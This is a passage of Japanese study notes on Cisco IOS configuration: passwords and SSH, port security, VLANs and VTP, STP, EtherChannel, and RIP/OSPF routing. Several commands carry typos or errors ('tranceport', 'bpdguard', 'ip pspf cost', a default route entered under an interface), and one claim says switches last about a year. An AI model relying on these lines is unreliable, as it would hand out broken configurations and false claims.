(config)#line vty <開始ライン番号> <終了ライン番号>
(config-line)#password <パスワード>
(config-line)#login

接続の自動ログアウトの設定

(config-line)#exec-timeout <分> [<秒>]

1.4.2. 特権EXECモードへのアクセス制限(Enableパスワード)

Cisco機器の特権EXECモードに移る際(enable)にパスワードの入力を求めるように設定ができる。 パスワードのかけ方はenable passwordenable secretの2つがあり、暗号化される観点から後者の使用が推奨される。

enable password

(config)#enable password <パスワード>

enable secret

(config)#enable secret <パスワード>

1.4.3. パスワードの暗号化

Ciscoルータではenable secretコマンドのパスワードを除き、line vtyやconsoleに設定したパスワードや enable passwordなどは暗号化されずにクリアテキストとしてconfig上に表示されてしまう。 この問題はservice password-encryptionコマンドを設定することで、これらのパスワードが自動的に暗号化するようにできる。

service password-encryption

1.5. ローカル認証の設定とユーザアカウント作成

ローカル認証はパスワードだけでなくユーザー名も認証に必要な設定方法。 コンソールにローカル認証を設定するには以下の手順の通り。

  1. ユーザーアカウントの作成
  2. ラインコンフィグレーションモードに移行する
  3. 作成したユーザーアカウントの使用を指定

設定例を以下に示す。

(config)#username <ユーザー名> [privilege <特権レベル>] password <パスワード>
(config)#line console 0
(config-line)#login local 

特権レベルはユーザーの特権レベルを指定する。 0 ~ 15 が指定でき、設定されたレベル以下のコマンドしか実行できなくなる。

privilegeを指定せずに作成したユーザーでログインするとユーザEXECモードから始まり、 実行出来るコマンドは1以下に設定されているコマンドになる。

特権レベル15は特権EXECモードとなり、全てのコマンドが実行出来る。 この場合、ログイン後にユーザEXECモードを経由する事なく特権EXECモードから始まる。

1.6. SSH接続の設定

SSHでCiscoのネットワーク機器にアクセスする場合は以下手順で設定を行う。

  1. ホスト名の設定
  2. ドメイン名の設定
  3. RSA暗号鍵の生成
  4. ユーザアカウントを作成
  5. ローカル認証の指定
  6. SSHの接続許可の設定
  7. SSHのバージョン指定

設定例は以下の通り。

(config)#ip domain-name <ドメイン名>
(config)#crypto key generate rsa
(config)#
(config)#username <ユーザー名> [privilege <特権レベル>] password <パスワード>
(config)#line console 0
(config-line)#login local 
(config-line)#exit
(config)#
(config)#line console 0
(config-line)#tranceport input <telnet | ssh | all | none>
(config-line)#exit
# SSH 1.0の脆弱性からバージョン2の利用が推奨
(config)#ip ssh version <1 | 2>

1.7. ネットワークの調査を行うためのコマンド

1.7.1. tracerouteと拡張traceroute

traceroute

tracerouteはコンピュータからIPネットワーク上の対象機器までの経路を調べ、パケットがそこに至るまでの中継機器のアドレス等を一覧で表示する機能。

Ciscoのルータではこの機能をサポートしている。

traceroute <1pアドレス | ホストのアドレス>

拡張traceroute

拡張tracerouteコマンドは特権モードでのみ使用できる。 拡張tracerouteコマンドはtracerouteコマンドの後に何もパラメータを指定しないで実行する。

実行後、様々なパラメータを入力するように促され、tarcerouteを細かく設定できる。

  • Target IP address…宛先IPアドレスを指定
  • Source address…送信元IPアドレスを指定
  • Probe count…送信するプローブパケットの数を指定
  • Minimum Time to Live…最小のTTLを指定(2を指定した場合は2ホップ目からの情報が表示される)
  • Maximum Time to Live…最大のTTLを指定

1.7.2. pingと拡張ping

ping

pingは疎通確認用のL3以上のプロトコル。

ping <IPアドレス | ホストのアドレス>

拡張ping

拡張Pingを行った場合、さまざまなパラメータを指定できる。 拡張Pingで指定できる主なパラメータを以下に記す。

  • Protocol
  • Target IP address
  • epeat count(パケットの数)
  • Datagram size
  • Timeout in seconds
  • Source address or interface

1.8. お役立ちCISCO IOSコマンドメモ

役に立つかわからないけど、Cisco IOSのコマンドやシステムに関するメモを記載します。

1.8.1. alias exec - コマンドの代替え

コマンドをLinuxのaliasコマンドのようにラッピングするための新しいコマンドを作成できる。 あんまり使わないけど役に立つ。

(config)#alias exec <エイリアス名> <エイリアスでラッピングしたいコマンド>
(config)#exit

削除する場合はno alias <エイリアス名> <エイリアスでラッピングしたいコマンド>

1.8.2. 間違ったコマンドを入れた際の名前解決を停止する

よくCisco IOSに誤ったコマンドを入れるとコマンドをドメインと勘違いして接続を試みようとして数十秒操作不能になる。 これを防ぐにはno ip domain-lookupを入れることで名前解決を試みなくなる。

1.8.3. ルータでメッセージを送る

接続中のセッション(ユーザコンソール)にメッセージを送る 送る際は実際にはshow usersでセッションを確認すると良い。

# vty 1に送る例
send vty 1

入力画面 Ctrl+Z で送信可能。

6.4.2 - 2.Catalystスイッチの設定とVLAN

CatalystやVLANに関する設定方法

2.1. Catalystスイッチ基本設定

2.1.1. スイッチへのIPアドレスの設定

スイッチにも管理目的のためにIPアドレスを設定可能。 スイッチにIPアドレスを設定するのは以下の理由より。

  • リモート(SSHなど)からスイッチの設定を行うため
  • VSMよりブラウザからスイッチの設定を行うため
  • SNMPプロトコルによるスイッチ管理のため

IPアドレスの設定

スイッチへのIPアドレスの設定は以下コマンドで行える。 スイッチでは管理VLAN(デフォルトでは1)にIPアドレスは設定することになる。

(config)#interface vlan 1
(config-if)#ip address <IPアドレス> <サブネットマスク>
(config-if)#no shutdown

デフォルトゲートウェイの設定

スイッチへのデフォルトゲートウェイ設定は以下コマンドで実行可能。

(config)#ip default-gateway <デフォルトゲートウェイのIPアドレス>

2.1.2. MACアドレステーブルの管理

MACアドレステーブルの確認

MACアドレステーブルの確認は以下コマンドで行う。

show mac-address-table

静的MACアドレスの追加

静的MACアドレスのテーブルへの追加は以下コマンドで行う。

(config)#mac-address-table static <MACアドレス> vlan <VLAN番号> interface <ポート>

2.1.3. ポートセキュリティの設定

Catalystスイッチはポートセキュリティ機能がある。 これはハッキングなどによる情報漏洩を防ぐために使用できる。 具体的にはあらかじめ許可したMACアドレス以外のMACアドレスを持つホストのフレームを遮断する

静的ポートセキュリティの設定

静的(スタティック)にポートセキュリティの設定を行う場合以下手順で行える。

  1. ポートセキュリティを設定するインターフェイスをアクセスポートに設定する
  2. ポートセキュリティの有効化
  3. 最大MACアドレスを設定する
  4. 許可するMACアドレスを登録する
  5. バイオレーションモード(不正なMACアドレスホスト接続時の動作)の設定
  6. ポートセキュリティの設定の確認

コマンド例は以下の通り。

(config)#inyterface fastEthernet <ポート番号>
(config-if)#switchport mode access
(config-if)#switchport port-security
(config-if)#switchport port-security maximum <最大MACアドレス数>
(config-if)#switchport port-security mac-address <接続許可するMACアドレス>
(config-if)#exit
(config)#switch port-security violation <protect | restrict | shutdown>
(config)#exit
show port-security

なおswitch port-security violation <protect | restict | shutdown>はバイオレーションモードの設定箇所で各挙動は以下の通り。

  • protect … 不正なMACアドレスのフレームは破棄する
  • restrict … protectの機能+SNMPによる通知が可能
  • shutdown … インターフェイスをerr-diabledにして無効化する+SNMPによる通知が可能

動的ポートセキュリティの設定

動的(ダイナミック)にポートセキュリティの設定を行う場合以下手順で行える。

  1. ポートセキュリティを設定するインターフェイスをアクセスポートに設定する
  2. ポートセキュリティの有効化
  3. 最大MACアドレスを設定する
  4. スティキーラーニングの有効化
  5. バイオレーションモード(不正なMACアドレスホスト接続時の動作)の設定
  6. ポートセキュリティの設定の確認

コマンド例は以下の通り。

(config)#inyterface fastEthernet <ポート番号>
(config-if)#switchport mode access
(config-if)#switchport port-security
(config-if)#switchport port-security maximum <MACアドレス数>
(config-if)#switchport port-security mac-address sticky
(config-if)#exit
(config)#switch port-security violation <protect | restrict | shutdown>
(config)#exit
show port-security

ポートセキュリティにより無効された場合の復旧手順

原因を改善後に以下コマンドを行うことで復旧が可能。

(config)#inyterface fastEthernet <ポート番号>
(config-if)#shutdown
(config-if)#no shutdown

2.2. VLANの設定

2.2.1. VLANの作成と確認

VLANの確認

show vlan

VLANの作成/削除

(config)#vlan <VLAN番号>
(config)#no vlan <VLAN番号>

2.2.2. VLANへのポート割り当て

Access port

(config)#interface fastEthernet <ポート番号>
(config-if)#switchport mode access
(config-if)#switchport access vlan <VLAN番号>

Trunk port

(config)#interface fastEthernet <ポート番号>
(config-if)#switchport mode trunk

2.3. VLAN間ルーティング

VLAN間ルーティングは異なるVLAN同士の通信を実現するために使われる。 VLAN間ルーティングの接続手法は2つある。

  • VLANの数だけ複数のポートで接続 … VLAN非対応ルータでこちらを使用
  • トランクポートを使用して1つのポートで接続 … 上記以外はコチラ

2.3.1. トランクポートを使用したVLAN間ルーティングの設定

ルータ側への設定

ルータ側はVLANの数だけインターフェイスをサブインターフェイスに分割して設定する必要がある。 トランキングプロトコルは通常はIEEE802.1Qであるdot1qを指定するが、Cisco独自のISLはislで指定可能。

(config)#interface fastEthernet <ポート番号>.<サブインターフェイス番号>
(config-if)#encapsulation <dot1q | isl> <VLAN番号>
(config-if)#ip address <IPアドレス> <サブネットマスク>
(config-if)#no shutdown

スイッチ側への設定

基本的にトランクモードにポートをすると良い。

(config)#interface fastEthernet <ポート番号>
(config-if)#switchport mode trunk

クライアントのDGWの設定

上記設定後はクライアント端末にルータのサブインターフェイスに設定したIPをDGWとして設定する。

2.3. VTPの設定

VTPはVLANの設定を自動化しスイッチ間で同期を行う仕組みであり、これによりVLAN設定作業の大幅削減が可能。

2.3.1. VTPの設定と確認

VTPの設定で主に必要な項目は以下の2つとなる。

  1. VTPドメイン名の設定
  2. VTPモードの設定

これらの項目設定をそれぞれのスイッチで行うことになる。

VTPドメイン名の設定

以下コマンドでVTPドメイン名の設定は行える。 なおVTPドメイン名は大文字小文字を区別する。

(config)#vtp domain <VTPドメイン名>

VTPモードの設定

VTPモードの設定は以下コマンドで行える。

(config)#vtp mode <server | client | transparent>

VTP情報の確認

VTPの設定や状態の確認は以下コマンドで行える。

show vtp status

2.3.2. VTPプルーニングの設定

VTPプルーニングはVTPで発生した不要トラフィックを排除する仕組み。

VTPプルーニングの設定。

基本的には以下コマンドを実行するのみとなる。

(config)#vtp pruning

VTPプルーニングの設定確認

show vtp statusコマンドでVTPプルーニングの有効化/無効化は確認可能。

(config)#show vtp status

2.4. スイッチのエラーカウンタ

スイッチのエラーカウンタはshow interface <インターフェイス>で表示される各パラメータの何が増加しているかによって不具合の原因などが分かる。

カウンタ説明カウンタ増加原因例
no buffer受信したがバッファ足りずに廃棄したフレーム数・ブロードキャストストーム
runtsIEEE802.3フレームの最小フレームより小さいフレームを受信した数・物理的(ケーブル故障、NIC不良など) ・duplexの不一致
giantsIEEE802.3フレームの最大サイズを超えるフレームを受信した数・NICの不良
input errorsrunts, giants, no buffer, CRC, frame, overrun, ignoredの総数・各種カウンタの増加
CRCFCSに格納されたCRC値と受信データから再計算したCRCが一致しなかったフレーム数・コリジョン ・NIC不良 ・duplex不一致
ignoredバッファが足りず受信せず無視したフレーム数・ブロードキャストストーム
collisionsコリジョン数・半二重の通信 ・duplex不一致
late collitions通常よりも遅れて検出したコリジョン数・規定値を超える長さのケーブルの使用 ・duplex不一致

2.4.1. 各種エラーの詳細

no buffer

no bufferはブロードキャストストームが発生したときに増加するカウンタ

runts

runtsは物理的(ケーブル故障、NIC不良など) やduplexの不一致で増加するカウンタ

giants

giantsはNIC不良等が原因で増加するカウンタ

input errors

各種カウンタの増加があるとそれに伴って増加するカウンタ。

CRC

CRCはコリジョンの発生やNIC不良/duplex不一致に伴って増加するカウンタ

ignored

ignoredはブロードキャストストームが発生したときに増加するカウンタ

collisions

collitionsはduplexの不一致/半二重通信等が原因で増加するカウンタ

late collitions

late collitionsはduplexの不一致等が原因で増加するカウンタ

2.4.2. 各種エラーのケース

発生内容増加パラメータ
ブロードキャストストームno buffer, ignored
duplexの不一致runts, CRC, collitions, late collitions
NICの不良runts, giants, CRC
ケーブル故障runts

6.4.3 - 3.STPとEthernetChannelの設定

スパニングツリーやLAGの設定方法に関して

3.1. STPの設定

3.1.1. STPの設定と確認

STPの概要確認

スイッチはアドレス学習機能/フィルタリング機能などたくさんの機能やポートがあることから、演算を行うためのハードウェア要素が複雑であるため壊れやすい。実際に耐久年数は1年程度と言われている。 そのためスイッチは基本的には冗長化される。その手法の1つがSTPとなる。

STP(スパニングツリープロトコル)はIEEE802.1Dとして規定されたL2スイッチで冗長化構成を組んだ際のブロードキャストストーム(L2通信のループ)を防ぐためのプロトコル。 具体的にはネットワークの耐障害性向上のために冗長化を行った際にブロードキャスト通信がループしてネットワークリソースを圧迫するのを防ぐのに使用される。ARP要求などがそのブロードキャストにあたる。

STPの設定と確認

スパニングツリーはCisco製品の場合デフォルトでは有効になっているため設定は不要となっている。 なお確認はshow spannig-treeで可能。

show spanning-tree vlan <VLAN番号>
show spanning-tree interface fastEthernet <ポート番号>

STPの動作確認

STPに限らずルータの動作確認にはdebugコマンドを使用するがCPUに負荷がかかるため必要なときのみ行うようにする。 STPの動作確認の開始/停止は以下コマンドで行える。

debug spanning-tree events
no debug spanning-tree events

3.1.2. トポロジ変更に関するオプション

STPはデフォルトではどのスイッチがルートブリッジになるかわからない。 場合によっては特定のスイッチをルートブリッジにしたいケースなどもある。 そうしたケースの場合はSTP関連設定を変更しSTPトポロジを変化させて、ネットワーク管理者が意図する構成にする。 そのためのコマンドはいくつかある。

ブリッジプライオリティの変更

ルートブリッジにしたいスイッチではプライオリティをデフォルトより小さい値にしておくのが一般的。 プライオリティを変更するには以下コマンドを実行する。

(config)#spanning-tree vlan <VLAN番号> priority <プライオリティ>

PVST+の場合はVLAN毎にプライオリティを指定可能なためVLAN番号に対象VLANを指定する。 またPVST+ではブリッジプライオリティの一部をVLANとして試用している関係上、プライオリティは4096の倍数を指定する必要がある。

また他の手法としてはダイナミックに直接ルートブリッジを指定する方法があり以下コマンドで実行できる。

(config)#spanning-tree vlan <VLAN番号> root priority

上記コマンドの実行により指定したVLAN上でルートブリッジに選出されているスイッチのプライオリティを自動チェックし、スイッチのブリッジプライオリティより小さい値が自動設定され、自身がルートブリッジに選出される。

バスコストの変更

ポートの役割はバスコストを変更することで変えることができる。 ポートのバスコストは以下コマンドで変更可能

(config-if)#spanning-tree vlan <VLAN番号> cost <バスコスト値>

バスコストのデフォルト値の変更

バスコスト値のデフォルト値はショート法かロング法の2種類のいずれかで決定される。 デフォルトではショート法になっているが切り替えることも可能で、以下コマンドで変更できる。

(config)#spanning-tree pathcost method <short | long>

ポートプライオリティの変更

ポートプライオリティは以下コマンドで変更できる。

(config-if)#spanning-tree vlan <VLAN番号> porrt-priority <プライオリティ>

3.1.3. PortFastの設定と確認

PortFastはコンバージェンスを早くする機能の1つで、この設定でポートを即座にフォワーディングに遷移させられる。 なおループの危険性があるためハブやスイッチ間リンクでは設定してはならない

PorrtFastの設定

PortFastは以下コマンドで実行でき、基本的にはアクセスポートに設定する。 つまりPortFastの設定ポートはPC、サーバなどを接続することを前提としている。

(config-if)#spanning-tree portfast

PorrtFastの確認

以下コマンドで表示されるtype項目がPsp Edgeとなれば、そのポートはPortFastとなる。

show spanning-tree vlan <VLAN番号>

3.1.4. BPDUガードの設定と確認

BPDUガードは、PortFastが設定されているスイッチポートでBPDUを受信した時、そのポートをerror-disabledにする機能。 この機能によりスイッチがPortFastが設定されたポートに接続した場合でも、ポートを error-disabled にして不正接続を防止でき、さらに想定しないスイッチ機器の接続を防止することから、Layer2ループの発生を防ぐことができる。

BPDUガードの有効化

BPDUガードを有効化/無効化するには2種類のコマンドがある。

以下コマンドではPortFastの設定が行われるすべてのポートでBPDUガードを有効化/無効化できる。

(config)#spanning-tree portfast bpdguard default
(config)#no spanning-tree portfast bpdguard default

また以下コマンドではPortFastの設定の否かに関係なくそのインターフェイスのみで有効/無効にできる。

(config-if)#spanning-tree bpdguard <enable | disable>

BPDUガードの設定と確認

BPDUガードでBPDUを受信してerror-diabledになったポートを手動で復旧させる場合はポートを再起動させる必要がある。

(config-if)#shutdown
(config-if)#no shutdown

3.1.5. ルートガードの設定と確認

ルートガードの設定を行うと既存のルートブリッジより小さなブリッジIDのスイッチが接続されても、STPトポロジの変更を防げる。

ルートガードの有効化

(config-if)#spanning-tree guard root
(config-if)#no spanning-tree guard root

ルートガードの設定と確認

ルートガードの設定後に既存のルートブリッジより小さなブリッジIDを持つスイッチを追加した場合、show spanning-tree vlan <VLAN番号>実行後のSts項目にBKN*と表示される。またType項目には*Root_incと表示されルート不整合を意味する。

ルート不整合状態では復旧コマンドは不要で、上位BPDUが送られなければ元に戻る。

3.1.6. RSTPの設定と確認

STPではコンバージェンスに最大約50秒かかる。そのため早期に復旧すべき環境では数秒で切り替わるRSTPを設定する。

RSTPへの設定

RSTPはSTPと互換性があるためネットワーク内で混在環境を設定できるが、RSTPの効能を最大限発揮して動作させるためにはすべてのスイッチの動作モードをRSTPに変更する必要がある。

STPからRSTPへ動作モードを変更するには以下コマンドで行え、RSTPの場合にパラメータはrapid-pvstを指定する。

(config)#spanning-tree mode <pvst | rapid-pvst>

pvstの指定でPVST+でrapid-pvstでRapid-PVST+となる。 デフォルトではpvst(STP)となる。

RSTPの確認

以下コマンドで表示される項目中にSpanning tree enabled protocol rstpとあれば、RSTPに変更されている。

show spanning-tree vlan <VLAN番号>

3.2. EthernetChannelの設定

EthernetChannelはリンクアグリゲーション(LAG)とも呼ばれ、リンク間通信の耐障害性と負荷分散を実現できる。

3.2.1. EthernetChannelの基本コマンド

EthernetChannelの設定はケーブルを外した状態で行う。これは片側スイッチのみでEthernetChannelを形成すると対向スイッチで戻ってきてループが発生する恐れがあるためである。

EthernetChannelの形成

EthernetChannelの形成は以下コマンドで行える。

(config-if)#channel-group <グループ番号> mode < on | auto | desirable | active | passive >

グループ番号はチャンネルグループを指定し、バンドルさせたいポートでは同じ番号にする。 なおグループ番号は対向スイッチと合わせる必要はない

モードはネゴシエーションプロトコルをLACPかPAgPにする、または手動で合わせるかどうかに従って合わせる必要がある。

種類モード動作
手動on強制的に有効化
自動PAgPdesirable自分からPAgPネゴシエーションする(相手から受信して合わせる)
自動PAgPauto自分からPAgPネゴシエーションしない(相手から受信して合わせる)
自動LACPactive自分からLACPネゴシエーションする(自分から送信する)
自動LACPpassive自分からLACPネゴシエーションしない(相手から受信して合わせる)

対応表

ネゴシエーションプロトコルの指定

ネゴシエーションプロトコルを指定する場合には以下コマンドで実行できる。 ただEthernetChannelを形成した際に自動でネゴシエーションプロトコルは決まるため必ず設定をする必要はない。

(config-if)#channel-protocol < lacp | pagp >

ただしEthernetChannel形成前に実行すると、形成する際に間違ったモードを選択した際にメッセージを出してくれるメリットがある。

負荷分散方法の指定

EthernetChannelの負荷分散させる方法の変更には以下コマンドを使用する。

(config)#port-channel load-balance <負荷分散手法>

負荷分散手法のオプションは以下より

オプション負荷分散動作
src-mac送信元MACアドレスを基に負荷分散
dst-mac宛先MACアドレスを基に負荷分散
src-dst-mac送信元MACアドレス/宛先MACアドレスを基に負荷分散
src-ip送信元IPアドレスを基に負荷分散
dst-jp宛先IPアドレスを基に負荷分散
src-dst-ip送信元IPアドレス/宛先IPアドレスを基に負荷分散
src-port送信元ポート番号を基に負荷分散
dst-port宛先ポート番号を基に負荷分散
src-dst-port送信元ポート番号/宛先ポート番号を基に負荷分散

rangeコマンドを使ったインターフェイスの指定

ポートそれぞれで設定をするとコマンドの打ち間違いなどでポート設定がずれる場合がある。 そこで複数のポートをまとめて設定する方法がある。

(config)#interface range <インターフェイス>

インターフェイスの区切り方はFa0/1,Fa0/3のように区切る、もしくはFa0/1 -12のように範囲指定することができる。

3.3.3. L2-EthernetChannelの設定

EthernetChannelの設定例

(config)#interface range Fa0/1,Fa0/4
(config-if)#switchport mode trunk
(config-if)#channel-group 1 mode on

EthernetChannelの確認

show etherchannel <summary | detail>

detailを指定すると設定されたモードまで閲覧可能となる。

STPの確認

show spanning-treeを実行するとEthernetChannelでバンドルしたインターフェイスはPo1などと表示される。

running-configの確認

show running-configで確認すると一覧にPort-channelN(Nは数字)でPort-channelインターフェイスが記載されることになる。

負荷分散方法の確認

EthernetChannelでどの負荷分散方法が設定されているかは以下コマンドで確認できる。

show etherchannel load-balance

PAgP、LACP設定時の隣接ポートの確認

隣接するスイッチのポートの各情報を確認するには以下コマンドでできる。

show <pagp | lacp> neigbor

3.3.4. L3-EthernetChannelの設定

L3スイッチではポートをルーテッドポートに設定することでL3-EthernetChannelを形成できる。 L2-EthernetChannelとの違いはIPアドレスの設定をPortChannelインターフェイスで行う必要がある点である。

L3-EthernetChannelの設定例

L3-EthernetChannelの設定ではバンドルする物流インターフェイスをあらかじめno switchportでルーテッドポートに変更を行う。 なおバンドルされている個々の物理ポートではIPアドレスの設定の必要はない

(config)#interface range fastEthernet 0/1 - 3
(config-if-range)#no switchport
(config-if-range)#channel-group 1 mode active
Creating a port-channel interface Port-channel 1

(config-if-range)#exit
(config)#interfase Port-channel 1
(config-if)#ip address 192.168.1.1 255.255.255.0
(config-if)#exit

L3-EthernetChannelの確認

方法はL2-EthernetChannelと同じ。

show etherchannel <summary | detail>

detailを指定すると設定されたモードまで閲覧可能となる。 なおPort-channel項目に(Ru)と表示されていればL3でEthernetChannelが形成されていることが確認できる。

3.3.5. EthernetChannelのトラブルシューティング

EthernetChannelでトラブルが発生した際の確認事項をそれぞれ記載する。

EthernetChannelの不形成

show etherchannel <summary | detail>実行時にPort-channel項目に(SD)と表示されている場合はdownしており、EthernetChannelは形成されていない。その場合はプロトコルの不一致やモードの組み合わせに問題があることが疑われる。

一部のポートがバンドルされていない

show etherchannel <summary | detail>実行時にPorts項目にFa0/1(s)などと表示されている場合はポートが使用できない。 この場合suspendedを意味し、他ポートと設定がずれている可能性がある。

アクセスポートの場合はVLANの一致。

トランクポートの場合はカプセル化、通過許可VLAN、IEEE802.1Qの場合はネイティブVLANの一致、通信モード(半二重/全二重)/速度が一致している必要があるため、show running-configなども組み合わせて適宜調査する必要がある。

6.4.4 - 4.ルーティングの設定とOSPF

ルーティング/IGPのOSPFに関して

4.1. ネットワークの設定

4.1.1. IPアドレスの設定と確認

IPアドレスをインターフェイスに設定するにはinterface fastEthernet <インターフェイス番号>を入力する。なおint f/g<インターフェイス番号>で省略可能である。

(config)#interface fastEthernet <インターフェイス番号>
(config-if)#ip address <ipアドレス> <サブネットマスク>
(config-if)#end

またインターフェイスの状態確認はshow interface fastEthernet <インターフェイス番号>で行う。 使用例は以下の通り。

show interfaces
show int f0

一応show protocolsも使用可能。

4.1.2. インターフェイスの有効化

インターフェイスは設定後に有効化する必要がある。

(config-if)#no shutdown

4.2. ルーティングの設定

4.2.1. スタティックルーティングの設定

それぞれのルータのインターフェイスに対してIPアドレスを設定した後、ip routeコマンドでそれぞれの方向のルートを登録する。

(config)#ip route <対象IP> <対象サブネットマスク> <データが来る方向IP>

4.2.2. ダイナミックルーティングの設定

OSPFを使用したダイナミックルーティング

それぞれのルータのインターフェイスに対してIPアドレスを設定した後、それぞれのルータに OSPFの有効化とネットワークへの登録の設定を行う。

(config)#router ospf <プロセスID>
(config-router)#network <ネットワーク範囲> <ワイルドカードマスク> area <エリアID>

エリアIDはルータ全体で統一する必要がある。 また確認はshow ip route ospfで可能

設定例は以下の通り。

(config)#router ospf 1
(config-router)#network 192.168.0.0 0.0.0.255 area 0
(config-router)#network 10.0.0.252 0.0.0.3 area 0

RIPv1を使用したダイナミックルーティング

それぞれのルータのインターフェイスに対してIPアドレスを設定した後、それぞれのルータに RIPv1の有効化とネットワークへの登録の設定を行う。

(config)#router rip
(config-router)#network <ネットワーク範囲>

注意点としてRIPはクラスフルルーティングをするが特徴ある。 つまりOSPFと異なり、サブネットマスクを意識しない。 そのためnetworkコマンドで設定するネットワークは必ずクラスフルで記述する。

例えばネットワークが172.16.1.0の場合、クラスBアドレスなので172.16.0.0と設定する必要がある。

RIPv2を使用したダイナミックルーティング

それぞれのルータのインターフェイスに対してIPアドレスを設定した後、それぞれのルータに RIPv2の有効化とネットワークへの登録の設定を行う。

(config)#router rip
(config-router)#version 2
(config-router)#network <ネットワーク範囲>

変更後にshow ip protocolsコマンドでルータ上で動作しているルーティングプロトコルを確認すると良い。

4.2.3. デフォルトルーティングの設定

デフォルトゲートウェイは宛先のないパケットを送る先であり、デフォルトゲートウェイに送る設定をすることはデフォルトルーティングと呼ばれる。

デフォルトルートの追加は以下コマンドで行える。

(config)#inteface <インターフェイス>
(config-if)#ip route 0.0.0.0 0.0.0.0 <インターフェイスのIPアドレス>

また確認はshow ip routeで可能。

デフォルトルーティングを行うにはクラスレスルータとしてルータを動作する必要があり、これはクラスの概念をルータに追加するものとなる。なお現行のルータはデフォルトではクラスレスルータとして動作するため、もしルータをクラスフルルータの場合はクラスレスルータにする必要がある。コマンドはip classlessで行える。

4.3. OSPFの設定と確認

4.3.1. OSPFの有効化

OSPFの有効化は以下のコマンドで行える。

(config)#router ospf <プロセスID>

プロセスIDは複数のプロセスを識別するためのIDで1~65535まで指定可能となっている。 これはプロセスを識別するためのIDであるだけなのでルータごとに異なっていても良い。

4.3.2. インターフェイスの指定

OSPFをインターフェイスで有効化するとhelloパケットを送信し始める。 またインターフェイスに関するLSAも通知する。

(config)#network <ネットワーク範囲> <ワイルドカードマスク> area <エリアID>

エリアIDはインターフェイスが所属するエリア番号を指定する。 またIOSバージョンによっては以下コマンドでインターフェイスごとにOSPFを設定可能。

(config)#inteface <インターフェイス>
(config-if)#ip ospf <プロセスID> area <エリアID>

4.3.3. パッシブインターフェイスの設定

パッシブインターフェイスを指定するとOSPF動作するものでHelloパケットを送信を停止できる。そのためこの設定を行とネイバー関係が構築できなくなる。

(config)#router ospf <プロセスID>
(config-router)#passive-interface <インターフェイス>

4.3.4. ルータIDの設定

OSPFではルータを識別するためのルータIDが必要となる。 ルータIDはIPアドレスが設定してあれば自動で決定するが、以下コマンドにより手動でも設定可能。

(config)#router ospf <プロセスID>
(config-router)#router-id <ルータID>

ルータIDは32bitのアドレスと同じ形で指定し他ルータと重複しない値を設定する必要がある。 またループバックインターフェイスは以下コマンドで設定できる。

(config)#interface Loopback <番号>

番号は0~2147483647の範囲から設定可能で作成したインターフェイスにはIPアドレスを設定する。

4.3.5. OSPFの設定確認

OSPFが問題なく動作しているか確認するには以下フローで確認できる。

  1. ネイバー情報の確認
  2. LSDBの要約情報確認
  3. ルーティングテーブルの確認
  4. インターフェイスの確認

ネイバー情報の確認

ネイバーテーブルを確認することでネイバーが登録されている確認できる。 表示される情報は隣接ルータの情報である。

show ip ospf neighbor

なおOSPFネイバー関係を確立するために一致させる必要があるのは以下の情報となる。

  • Hello/Deadの間隔
  • エリアID
  • 認証パスワード
  • サブネットマスク
  • スタブエリアフラグ
  • MTUサイズ

LSDBの要約情報確認

LSDBの要約情報であるLSAリストのトポロジテーブルを確認する。 表示される情報は各ルータで同じとなる。

show ip ospf database

ルーティングテーブルの確認

ルーティングテーブルを確認してダイナミックルーティングが適用されているか確認を行う。 また念のためospfが動作しているかshow ip protocolで確認する。

show ip route
show ip protocol

インターフェイスの確認

OSPFが動作しているインターフェイス情報を以下コマンドで確認する。

show ip ospf interface <インターフェイス>

確認できる情報は以下の通り。

  • IPアドレスと所属エリア
  • プロセスIDとルータID、ネットワークタイプ、コスト
  • リンク状態とプライオリティ
  • DRとBDRのルータIDとIPアドレス
  • HelloインターバルとDeadインターバル

4.4. マルチエリアOSPFの設定と確認

4.4.1. マルチエリアOSPFの設定

マルチエリアOSPFを作成する場合4.3.2項のエリアIDを分けるエリアで別々にする。 ただ注意点として向かい合うルータが同じエリアにならないようにする。

4.4.2. マルチエリアOSPFの確認

確認は4.3.5. OSPFの設定確認の通りで可能。 具体的には以下の点を確認する。

  • LSDB要約情報で異なるエリアが作成されている
  • ルーティングテーブルでコード部分がO IAになっている

O IAは異なるエリアからルートを伝えられていることを示す。

4.5. OPSFの関連パラメータの調整設定

4.5.1. ルータプライオリティ

マルチアクセスのOSPF環境ではDRとBDRを選出するが、DRになるルータ位置の調整が必要な場合ルータプライオリティの変更で実現できる。 ルータプライオリティの変更は以下コマンドで実現できる。

(config)#inteface <インターフェイス>
(config-if)#ip ospf priority <ルータプライオリティ値>

以上のコマンドを使いこなすことで意図するルータにDR(代表ルータ)の役割を持たせることができる。

4.5.2. OSPFのコスト

OSPFのメトリックは帯域幅から計算するコスト値となる。 コスト値を変更するとルートの変更が可能になる。

(config)#ip pspf cost <コスト値>

4.5.3. 帯域幅

コストの計算に使用する帯域幅は以下コマンドで変更できる。

(config)#bandwidth <帯域幅>

インターフェースの帯域幅の設定は以下の通り。

(config)#inteface <インターフェイス>
(config-if)#bandwidth <帯域幅>

4.5.4. 基準帯域幅

OSPFのコストは基準帯域幅(Default値は100Mbps)/インターフェイスの帯域幅で算出される。 基準帯域幅は以下コマンドで変更できる。

(config)#inteface <インターフェイス>
(config-if)#auto-cost reference-bandwidth <帯域幅>

4.5.5. Hello/Deadインターバルの変更

ネイバー認識に使用されるHelloインターバルとDeadインターバルはインターフェイスごとに設定できる。

(config)#ip ospf hello-interval <秒数>
(config)#ip ospf dead-interval <秒数>

注意点として隣接ルータでHello/Deadインターバルが一致しないとネイバーとして認識されないので気にしながら設定する必要がある。

4.5.6. MTUのミスマッチ検出機能の無効化

ネイバーとなるルータのインターフェイスのMTUが自身のインターフェイスと一致しない場合、完全隣接関係にならない。 そのためMTUを合わせるかMTUの不一致の検出する機能を無効化する必要がある。

MTUの不一致検出の無効化は以下コマンドで行える。

(config)#inteface <インターフェイス>
(config-if)#ip ospf mtu-ignore

4.5.7. デフォルトルートの配布

インターネットへの接続にはデフォルトゲートウェイへのルート(デフォルトルート)の設定を行う。 すべてのルータにいちいち設定すると手間になる場合がある。 そのため1台のルータに設定後にOSPFで他ルータで配布する機能がある。

デフォルトルートをOSPFを通じて他のルータに配布するには以下コマンドで行える。

(config)#router ospf <プロセスID>
(config-router)#default-information originate [always]

確認はshow ip routeで行える。

alwaysをつけるとルーティングテーブルにデフォルトルートが存在しなくてもデフォルトルートを広告する。

4.5.8. 等コストロードバランシングの最大数の設定

等コストロードバランシングで使用する経路の数(デフォルトでは4)を変更するには以下のコマンドを使用する。

(config)#router ospf <プロセスID>
(config-router)#maximum-paths <最大数>

